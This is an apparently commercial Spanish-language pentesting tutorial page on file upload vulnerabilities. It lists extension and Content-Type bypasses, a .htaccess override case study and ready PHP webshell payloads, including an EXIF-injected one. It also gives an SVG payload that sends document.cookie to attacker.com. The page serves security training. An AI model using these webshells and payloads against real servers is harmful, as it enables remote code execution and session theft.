Nuevos labs cada semana — Accede a todos desde 5€/mes
Ver labs →File Upload Vulnerabilities
Subida de archivos maliciosos para ejecución de código
Respuesta rápida
¿Qué es File Upload Vulnerabilities?
Las vulnerabilidades de file upload permiten subir archivos maliciosos que el servidor ejecuta (webshells) o que contienen payloads (SVGs con JavaScript, imágenes con código en EXIF).
Severidad
Crítico
Frecuencia
Común
Payloads
13
Pasos
6
Severidad
Crítico
Frecuencia
Común
Payloads
13
File upload es una superficie de ataque amplia: bypass de extensiones, manipulación de Content-Type, polyglot files, .htaccess override, y más. El objetivo final suele ser subir un webshell que permita ejecutar comandos en el servidor.
Dónde buscar
Avatar / foto de perfil
El vector más común. Prueba SVG, doble extensión, null byte.
Subida de documentos
CVs, facturas, informes. Extensiones permitidas suelen ser más amplias.
Import de archivos
CSV, XML, JSON imports pueden procesar contenido peligroso.
Editores de contenido
Inserciones de imagen en editores WYSIWYG.
Export/Import de config
Funcionalidades de backup/restore que aceptan archivos arbitrarios.
Metodología
Subir archivo legítimo
Analiza: dónde se almacena (URL), qué headers devuelve, si se renombra.
Probar extensiones
Cambia .jpg → .php, .phtml, .php5, .phar. Prueba doble extensión: shell.php.jpg
Manipular Content-Type
Envía PHP con Content-Type: image/jpeg en el request.
Null byte
shell.php%00.jpg — algunos parsers truncan en el null byte.
Probar SVG
Sube un SVG con <svg onload=alert(1)>. Si se renderiza, tienes XSS.
Si todo falla: .htaccess
Sube un .htaccess que redefina qué extensiones se ejecutan como PHP.
Caso real
File Upload bypass vía .htaccess + extensión custom → RCE
Restricción detectada
La app bloquea .php, .phtml, .phar y todas las extensiones PHP conocidas.
Subir .htaccess
Upload de .htaccess con: AddType application/x-httpd-php .l33t — redefine la extensión .l33t como PHP.
Subir webshell con extensión custom
Upload de exploit.l33t con contenido: <?php system($_GET['cmd']); ?>
Ejecutar comandos
GET /uploads/exploit.l33t?cmd=whoami → responde con el usuario del servidor.
Lección: Si la app permite subir .htaccess, puedes redefinir completamente qué extensiones se ejecutan. Es un bypass total de la blacklist de extensiones.
Payloads
Extensiones PHP alternativas
.phtml .php5 .phar .pgif .shtml .inc .phps
Doble extensión
shell.php.jpg | shell.php.png | shell.phtml.gif
Null byte
shell.php%00.jpg | shell.php\x00.jpg
Case variation
shell.pHp | shell.PHP5 | shell.PhAr
SVG XSS
<svg xmlns='http://www.w3.org/2000/svg' onload='alert(document.domain)'/>
Trailing chars
shell.php. | shell.php/ | shell.php%20 | shell.php......
Payloads avanzados(requiere cuenta)
Webshell mínimo
<?php system($_GET['cmd']);?>
Webshell 1 char
<?=`$_GET[0]`?>
.htaccess override
AddType application/x-httpd-php .l33t
SVG con redirect
<svg onload="window.location='https://attacker.com/'+document.cookie">
Magic bytes bypass
GIF89a\n<?php system($_GET['cmd']); ?> (prepend GIF magic bytes)
Polyglot JPG/PHP
Imagen JPEG válida con código PHP inyectado en campo EXIF Comment
MIME comma trick
Content-Type: application/json;,text/html → server=json, browser=html
Contenido exclusivo
Crea tu cuenta gratis para acceder a payloads avanzados, scripts y técnicas de bypass
Crear cuenta gratisHerramientas
exiftool
Inyecta código PHP en metadatos EXIF de una imagen legítima.
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
Burp Repeater
Manipulación manual de todos los parámetros del upload.
Intercepta upload → modifica filename + Content-Type → reenvía
fuxploider
Automatiza pruebas de bypass de file upload.
python3 fuxploider.py --url https://target.com/upload
WAF Bypass
Doble Content-Disposition
Content-Disposition: form-data; name="file"; filename="safe.jpg"\nContent-Disposition: form-data; name="file"; filename="shell.php"
Boundary confusion
Usar dos boundaries diferentes — WAF parsea con el primero, app con el segundo
Tips
Prueba siempre SVG
Muchos filtros permiten SVG porque es 'imagen'. Un SVG puede ejecutar JavaScript en el navegador.
Revisa dónde se guarda
Si el archivo se sirve desde el mismo dominio con Content-Type incorrecto, puede haber XSS o ejecución.
.htaccess es devastador
Si puedes subir .htaccess, controlas completamente qué se ejecuta en ese directorio.
EXIF como vector
Si la app no limpia metadatos EXIF, puedes inyectar payloads que se ejecutan al procesar la imagen.
Contenido relacionado
Practica File Upload Vulnerabilities con labs reales
Aplica estas técnicas en entornos seguros basados en reportes reales de bug bounty.